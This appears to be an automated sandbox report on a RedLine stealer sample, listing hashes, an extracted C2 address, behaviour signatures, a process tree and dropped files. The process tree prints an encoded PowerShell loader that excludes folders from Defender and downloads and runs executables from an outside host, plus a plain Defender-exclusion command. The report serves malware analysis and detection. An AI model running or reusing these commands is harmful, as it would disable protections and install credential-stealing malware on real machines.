Analysis

  • max time kernel
    30s
  • max time network
    32s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    03/02/2023, 19:07

Errors

Reason
Machine shutdown

General

  • Target

    9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe

  • Size

    898KB

  • MD5

    59b4067b2e46f3e782f55c124f85c58e

  • SHA1

    9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4

  • SHA256

    091369381ef4de4d6caf614b4e307e84e59e422fdaf7d23feb13762c447909b4

  • SHA512

    88f1850824cab573b07810568f9068bfdda4e949e29139dba3829ecade9ab7c11ea9359e2b78379774a8acbfeea032c6ffba100dec370f7447ec463f939d63d8

  • SSDEEP

    3072:1L1hinzhEGbhWj/hGqHkSwWgEFZqvyXipmS6RIguAg0FujD0Qth7CTEzc:1LezhHE1GqESwBlvyyQ8AOc+tCTAc

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 9 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1216
      • C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
        "C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:916
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:768
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
            4⤵
            • Blocklisted process makes network request
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1484
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:828
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1388
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 48
                6⤵
                • Loads dropped DLL
                • Program crash
                PID:568
            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
              "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
              5⤵
              • Executes dropped EXE
              PID:1592
            • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
              "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:1744
            • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
              "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:1108
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 48
          3⤵
          • Program crash
          PID:1268
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        PID:932

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

      Filesize

      1.4MB

      MD5

      bb86a343080f9f4696c250ef31a18d9d

      SHA1

      43b2193dcb1d56eac73ba88a7b461822074192d6

      SHA256

      095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

      SHA512

      24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

    • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

      Filesize

      1.4MB

      MD5

      bb86a343080f9f4696c250ef31a18d9d

      SHA1

      43b2193dcb1d56eac73ba88a7b461822074192d6

      SHA256

      095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

      SHA512

      24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

    • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

      Filesize

      3.7MB

      MD5

      f5c51e7760315ad0f0238d268c03c60e

      SHA1

      85ebaaa9685634143a72bc82c6e7df87a78eed4c

      SHA256

      ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

      SHA512

      d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

    • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

      Filesize

      1.4MB

      MD5

      b6bbab9f72c88d07b484cc339c475e75

      SHA1

      f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

      SHA256

      dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

      SHA512

      1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

    • C:\Users\Admin\AppData\Local\Temp\new2.exe

      Filesize

      455KB

      MD5

      ee0ad7cc2a5976a5c658da52092977a9

      SHA1

      c69b99d42a9f9886af74e6a75fd905a5d17d4792

      SHA256

      f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

      SHA512

      ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

    • \Users\Admin\AppData\Local\Temp\C4Loader.exe

      Filesize

      1.4MB

      MD5

      bb86a343080f9f4696c250ef31a18d9d

      SHA1

      43b2193dcb1d56eac73ba88a7b461822074192d6

      SHA256

      095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

      SHA512

      24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

    • \Users\Admin\AppData\Local\Temp\C4Loader.exe

      Filesize

      1.4MB

      MD5

      bb86a343080f9f4696c250ef31a18d9d

      SHA1

      43b2193dcb1d56eac73ba88a7b461822074192d6

      SHA256

      095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

      SHA512

      24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

    • \Users\Admin\AppData\Local\Temp\SmartDefRun.exe

      Filesize

      3.7MB

      MD5

      f5c51e7760315ad0f0238d268c03c60e

      SHA1

      85ebaaa9685634143a72bc82c6e7df87a78eed4c

      SHA256

      ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

      SHA512

      d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

    • \Users\Admin\AppData\Local\Temp\SysApp.exe

      Filesize

      1.4MB

      MD5

      b6bbab9f72c88d07b484cc339c475e75

      SHA1

      f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

      SHA256

      dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

      SHA512

      1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

    • \Users\Admin\AppData\Local\Temp\SysApp.exe

      Filesize

      1.4MB

      MD5

      b6bbab9f72c88d07b484cc339c475e75

      SHA1

      f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

      SHA256

      dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

      SHA512

      1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

    • \Users\Admin\AppData\Local\Temp\new2.exe

      Filesize

      455KB

      MD5

      ee0ad7cc2a5976a5c658da52092977a9

      SHA1

      c69b99d42a9f9886af74e6a75fd905a5d17d4792

      SHA256

      f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

      SHA512

      ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

    • \Users\Admin\AppData\Local\Temp\new2.exe

      Filesize

      455KB

      MD5

      ee0ad7cc2a5976a5c658da52092977a9

      SHA1

      c69b99d42a9f9886af74e6a75fd905a5d17d4792

      SHA256

      f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

      SHA512

      ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

    • \Users\Admin\AppData\Local\Temp\new2.exe

      Filesize

      455KB

      MD5

      ee0ad7cc2a5976a5c658da52092977a9

      SHA1

      c69b99d42a9f9886af74e6a75fd905a5d17d4792

      SHA256

      f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

      SHA512

      ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

    • \Users\Admin\AppData\Local\Temp\new2.exe

      Filesize

      455KB

      MD5

      ee0ad7cc2a5976a5c658da52092977a9

      SHA1

      c69b99d42a9f9886af74e6a75fd905a5d17d4792

      SHA256

      f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

      SHA512

      ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

    • memory/768-62-0x0000000000400000-0x0000000000408000-memory.dmp

      Filesize

      32KB

    • memory/768-54-0x0000000000400000-0x0000000000408000-memory.dmp

      Filesize

      32KB

    • memory/768-63-0x0000000000400000-0x0000000000408000-memory.dmp

      Filesize

      32KB

    • memory/768-56-0x0000000000400000-0x0000000000408000-memory.dmp

      Filesize

      32KB

    • memory/768-65-0x0000000076091000-0x0000000076093000-memory.dmp

      Filesize

      8KB

    • memory/932-111-0x000007FEFBCA1000-0x000007FEFBCA3000-memory.dmp

      Filesize

      8KB

    • memory/932-112-0x000007FEF3710000-0x000007FEF4133000-memory.dmp

      Filesize

      10.1MB

    • memory/1108-109-0x00000000002B0000-0x00000000003ED000-memory.dmp

      Filesize

      1.2MB

    • memory/1108-105-0x0000000002080000-0x0000000002584000-memory.dmp

      Filesize

      5.0MB

    • memory/1108-107-0x00000000002B0000-0x00000000003ED000-memory.dmp

      Filesize

      1.2MB

    • memory/1108-106-0x0000000002080000-0x0000000002584000-memory.dmp

      Filesize

      5.0MB

    • memory/1388-87-0x0000000000080000-0x00000000000A0000-memory.dmp

      Filesize

      128KB

    • memory/1388-88-0x0000000000080000-0x00000000000A0000-memory.dmp

      Filesize

      128KB

    • memory/1388-80-0x0000000000080000-0x00000000000A0000-memory.dmp

      Filesize

      128KB

    • memory/1388-78-0x0000000000080000-0x00000000000A0000-memory.dmp

      Filesize

      128KB

    • memory/1484-99-0x00000000732C0000-0x000000007386B000-memory.dmp

      Filesize

      5.7MB

    • memory/1484-68-0x00000000732C0000-0x000000007386B000-memory.dmp

      Filesize

      5.7MB

    • memory/1592-103-0x0000000005040000-0x000000000518E000-memory.dmp

      Filesize

      1.3MB

    • memory/1592-104-0x0000000000570000-0x0000000000584000-memory.dmp

      Filesize

      80KB

    • memory/1592-100-0x0000000004DC0000-0x0000000004F26000-memory.dmp

      Filesize

      1.4MB

    • memory/1592-110-0x00000000049C6000-0x00000000049D7000-memory.dmp

      Filesize

      68KB

    • memory/1592-77-0x0000000000A40000-0x0000000000BAC000-memory.dmp

      Filesize

      1.4MB